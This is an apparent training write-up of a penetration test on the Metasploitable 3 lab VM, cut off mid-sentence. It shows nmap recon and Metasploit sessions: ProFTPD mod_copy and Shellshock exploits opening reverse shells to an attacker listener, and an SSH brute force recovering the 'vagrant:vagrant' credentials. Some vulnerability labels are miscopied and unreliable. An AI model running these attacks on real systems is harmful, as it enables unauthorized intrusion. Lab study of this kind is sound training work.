Writeup
Metasploitable 3 Pentesting

By: Kareem Hossam Ghorab

Handed to: Digital Fortress & ODC

Penetration Testing Report for Metasploitable 3

Target System: Metasploitable 3

Target IP: 192.168.56.130

Date of Test: 30/10/2024

Tester: Kareem Hossam Ghorab

Executive Summary

This report details the results of a penetration test performed on the Metasploitable 3 virtual machine, a purposely vulnerable environment used for ethical hacking and cybersecurity training. The findings illustrate some common vulnerabilities and weaknesses, along with recommendations for securing similar systems.

Reconnaissance and Initial Scan

- Using Netdiscover tool to know the target's ip address as it's within my network as shown:

```
 46 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 2760
 _____________________________________________________________________________
_
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname

 _____________________________________________________________________________
_
 192.168.56.1    00:50:56:c0:00:08     42    2520  VMware, Inc.
 192.168.56.2    00:50:56:e4:a8:55      1      60  VMware, Inc.
 192.168.56.130  00:0c:29:c3:5c:fe      1      60  VMware, Inc.
 192.168.56.254  00:50:56:f1:f1:04      2     120  VMware, Inc.
```

- Using Nmap, an initial scan of the target revealed several open ports with potentially exploitable services as shown

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT 192.168.56.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 08:18 EDT
Nmap scan report for 192.168.56.130
Host is up (0.0036s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
631/tcp  open  ipp
3306/tcp open  mysql
6667/tcp open  irc
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
```

Then I used -V flag to know the versions of protocols that might me vulnerable as shown:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 08:19 EDT
Nmap scan report for 192.168.56.130
Host is up (0.0039s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux;
protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.7
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open  ipp         CUPS 1.7
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         UnrealIRCd (Admin email admin@TestIRC.net)
8080/tcp open  http        Jetty 8.1.7.v20120910
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404; OSs: Unix, Linux; CPE
: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
```

Vulnerability Assessment

1. FTP Service on Port 21

- **Service**: ProFTPD 1.3.5

- **Vulnerability**: Anonymous Login Enabled

Using Metasploit framework I have been able to search a common exploits of proftpd as shown:

```
┌──(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > search searchsploit vsftpd
[-] No results from search
msf6 > search ProFTPD 1.3.5

Matching Modules
================

   #  Name                                    Disclosure Date  Rank       Chec
k  Description
   -  ----                                    ---------------  ----       ----
-  -----------
   0  exploit/unix/ftp/proftpd_modcopy_exec   2015-04-22       excellent  Yes
   ProFTPD 1.3.5 Mod_Copy Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exp
loit/unix/ftp/proftpd_modcopy_exec
```

Then I found a great exploit and used it and I hit #show options command as shown

```
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   Proxies                     no        A proxy chain of format type:host:port[,ty
                                         pe:host:port][ ... ]
   RHOSTS                      yes       The target host(s), see https://docs.metas
                                         ploit.com/docs/using-metasploit/basics/usi
                                         ng-metasploit.html
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www         yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):
```

After that I found some mandatory options have to been filled such as RHOSTS,RPORT and editing SITEPATH as shown:

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.56.130
rhosts => 192.168.56.130
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   Proxies                     no        A proxy chain of format type:host:port[,ty
                                         pe:host:port][ ... ]
   RHOSTS     192.168.56.130   yes       The target host(s), see https://docs.metas
                                         ploit.com/docs/using-metasploit/basics/usi
                                         ng-metasploit.html
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html    yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
```

And here I chose the payload as shown:

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CHOST                        no        The local client address
   CPORT                        no        The local client port
   Proxies                      no        A proxy chain of format type:host:port[,ty
                                          pe:host:port][ ... ]
   RHOSTS      192.168.56.130   yes       The target host(s), see https://docs.metas
                                          ploit.com/docs/using-metasploit/basics/usi
                                          ng-metasploit.html
   RPORT       80               yes       HTTP port (TCP)
   RPORT_FTP   21               yes       FTP port
   SITEPATH    /var/www/html    yes       Absolute writable website path
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       Base path to the website
   TMPPATH     /tmp             yes       Absolute writable path
   VHOST                        no        HTTP server virtual host

Payload options (cmd/unix/reverse_perl):
```

Setting LHOST IP address as shown:

```
Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.131   yes       The listen address (an interface may be specif
                                     ied)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5
```

And finally, I did it!!!!!!!!!!

As you see here is after the exploit was completed and the session opened as you can see, also there are some commands are used to test and navigate on the target's machine.

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 192.168.56.131:4444
[*] 192.168.56.130:80 - 192.168.56.130:21 - Connected to FTP server
[*] 192.168.56.130:80 - 192.168.56.130:21 - Sending copy commands to FTP server
[*] 192.168.56.130:80 - Executing PHP payload /RmWwux.php
[+] 192.168.56.130:80 - Deleted /var/www/html/RmWwux.php
[*] Command shell session 1 opened (192.168.56.131:4444 → 192.168.56.130:42846) at 2
024-10-30 08:26:11 -0400

ls
chat
drupal
payroll_app.php
phpmyadmin
whoami
www-data
```

2. Apache Service on Port 80

- **Service**: Apache

- **Vulnerability**: Anonymous Login Enabled

Using Metasploit framework I have been able to search a common exploits of Apache as shown:

```
msf6 > search Apache httpd

Matching Modules
================

   #   Name                                                    Disclosure Date  Rank
  Check  Description
   -   ----                                                    ---------------  ----
   -   ----------
   0   exploit/multi/http/apache_normalize_path_rce            2021-05-10       excellent
  Yes    Apache 2.4.49/2.4.50 Traversal RCE
   1     \_ target: Automatic (Dropper)                        .                .
  .      .
   2     \_ target: Unix Command (In-Memory)                   .                .
  .      .
   3   auxiliary/scanner/http/apache_normalize_path            2021-05-10       normal
  No     Apache 2.4.49/2.4.50 Traversal RCE scanner
   4     \_ action: CHECK_RCE                                  .                .
  .      Check for RCE (if mod_cgi is enabled).
   5     \_ action: CHECK_TRAVERSAL                            .                .
  .      Check for vulnerability.
   6     \_ action: READ_FILE                                  .                .
  .      Read file on the remote server.
   7   auxiliary/scanner/http/mod_negotiation_brute            .                normal
  No     Apache HTTPD mod_negotiation Filename Bruter
   8   auxiliary/scanner/http/mod_negotiation_scanner          .                normal
  No     Apache HTTPD mod_negotiation Scanner
   9   exploit/windows/http/apache_chunked                     2002-06-19       good
  Yes    Apache Win32 Chunked Encoding
```

And because that the first shows a lot of exploits. I searched for the most common exploitations via the internet and then searched as shown:

```
msf6 > search Apache_mod_cgi

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Desc
ription
   -  ----                                                  ---------------  ----       -----  ----
-------
   0  exploit/multi/http/apache_mod_cgi_bash_env_exec       2014-09-24       excellent  Yes    Apac
he mod_cgi Bash Environment Variable Code Injection (Shellshock)
   1    \_ target: Linux x86                                .                .          .      .
   2    \_ target: Linux x86_64                             .                .          .      .
   3  auxiliary/scanner/http/apache_mod_cgi_bash_env        2014-09-24       normal     Yes    Apac
he mod_cgi Bash Environment Variable Injection (Shellshock) Scanner


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/ht
tp/apache_mod_cgi_bash_env
```

Then I used #show options command to know the missing fields as shown:

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CMD_MAX_LENGTH  2048             yes       CMD max line length
   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-62
                                              78)
   HEADER          User-Agent       yes       HTTP header to use
   METHOD          GET              yes       HTTP method to use
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][..
                                              .]
   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/u
                                              sing-metasploit/basics/using-metasploit.html
   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly gene
                                              rated)
   TARGETURI                        yes       Path to CGI script
   TIMEOUT         5                yes       HTTP read response timeout (seconds)
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an
```

After that I set the mandatory options as shown:

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) >
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.56.130
rhosts => 192.168.56.130
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set target
set target     set targeturi
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set target
set target     set targeturi
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello_world.sh
targeturi => /cgi-bin/hello_world.sh
```

And finally, I did it!!!!!!

As shown the exploit has been completed and the session were opened.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 192.168.56.131:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 192.168.56.131:4444
[*] Meterpreter session 2 opened (192.168.56.131:4444 -> 192.168.56.130:42846)
```

3. SSH Service on Port 22

- **Service**: SSH

- **Vulnerability**: Anonymous Login Enabled

Using Metasploit framework I have been able to search a common exploits of SSH as shown:

```
msf6 > search auxilary ssh login
[-] No results from search
msf6 > search auxiliary ssh login

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank
  Check  Description
   -  ----                                                  ---------------  ----
  -----  -----------

   0  auxiliary/scanner/ssh/apache_karaf_command_execution  2016-02-09       normal
  No     Apache Karaf Default Credentials Command Execution
   1  auxiliary/scanner/ssh/karaf_login                     .                normal
  No     Apache Karaf Login Utility
   2  auxiliary/scanner/ssh/cerberus_sftp_enumusers         2014-05-27       normal
  No     Cerberus FTP Server SFTP Username Enumeration
```

Then I found an exploit, used it and used #show option command to know the necessary options as shown:

```
msf6 > use 4
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.130
RHOSTS => 192.168.56.130
msf6 auxiliary(scanner/ssh/ssh_login) > set
set --clear                     set PASSWORD_SPRAY
set --global                    set PASS_FILE
set --help                      set Prompt
set -c                          set PromptChar
set -g                          set PromptTimeFormat
set -h                          set Proxies
set ACTION                      set REMOVE_PASS_FILE
set ANONYMOUS_LOGIN             set REMOVE_USERPASS_FILE
set AutoRunScript               set REMOVE_USER_FILE
set AutoVerifySession           set RHOSTS
set BLANK_PASSWORDS             set RPORT
set BRUTEFORCE_SPEED            set SSH_DEBUG
set CommandShellCleanupCommand  set SSH_IDENT
set ConsoleLogging              set SSH_TIMEOUT
set CreateSession               set STOP_ON_SUCCESS
set DB_ALL_CREDS                set SessionLogging
set DB_ALL_PASS                 set SessionTlvLogging
set DB_ALL_USERS                set ShowProgress
--More--Interrupt: use the 'exit' command to quit
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE Desktop/hybrid
USERPASS_FILE => Desktop/hybrid
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.56.130:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
```

After that, I ran the attack as shown:

```
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] 192.168.56.130:22 - Starting bruteforce
[-] 192.168.56.130:22 - Failed: 'admin:admin'
[!] No active DB -- Credential data will not be saved!
[+] 192.168.56.130:22 - Success: 'vagrant:vagrant' 'uid=900(vagrant) gid=900(vagra
t) groups=900(vagrant),27(sudo) Linux metasploitable3-ub1404 3.13.0-170-generic #2
0-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 2 opened (192.168.56.131:40401 → 192.168.56.130:22) at 2024-10-31
18:12:00 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

And finally, I did it! As you can see, the attack was successful, and I was able to navigate and controlling the system using commands, as shown.

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[-] Invalid session identifier: 1
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...

ls
VBoxGuestAdditions.iso
whoami
vagrant
```

4. FTP Service on Port 21

- Service: ProFTPD 1.3.5

- Vulnerability: Anonymous Login Enabled

Using Metasploit framework I have been able